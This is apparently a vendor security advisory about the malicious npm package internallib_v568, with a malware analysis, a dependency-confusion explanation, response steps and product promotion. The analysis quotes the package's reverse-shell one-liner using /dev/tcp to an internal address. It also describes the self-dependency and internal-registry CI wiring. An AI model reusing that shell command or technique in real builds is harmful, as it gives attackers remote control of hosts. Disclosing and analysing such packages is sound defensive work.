internallib_v568npm
internallib_v568 is a confirmed malicious npm package (MAL-2026-11513) that opens a backdoor for remote access (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v568 (npm)
What this malware does
[email protected] is shaped as a dependency-confusion artifact against a private package name. The main module exports a payload containing a reverse-shell one-liner (/bin/sh -i >& /dev/tcp/10.0.64.141/4000 0>&1) directed at an RFC1918 address on TCP/4000. package.json declares the package as its own dependency ("internallib_v568": "^1.0.0"), and a shipped.gitlab-ci.yml runs npm update --registry http://0.0.0.0:4873/ and then requires the module — consistent with resolution against an internal Verdaccio registry. The embedded shell one-liner is not syntactically valid JavaScript and would throw at require-time rather than execute, so the reverse shell does not actually open on install in its current form; however, the hardcoded internal endpoint, the self-referential dependency, and the internal-registry CI wiring together document a deliberate attempt to land a reverse-shell payload inside an internal build via name-confusion.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v568 (version 1.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v568 across your stack and pipelines.
If you installed it — respond
internallib_v568 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v568 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v568 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v568-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.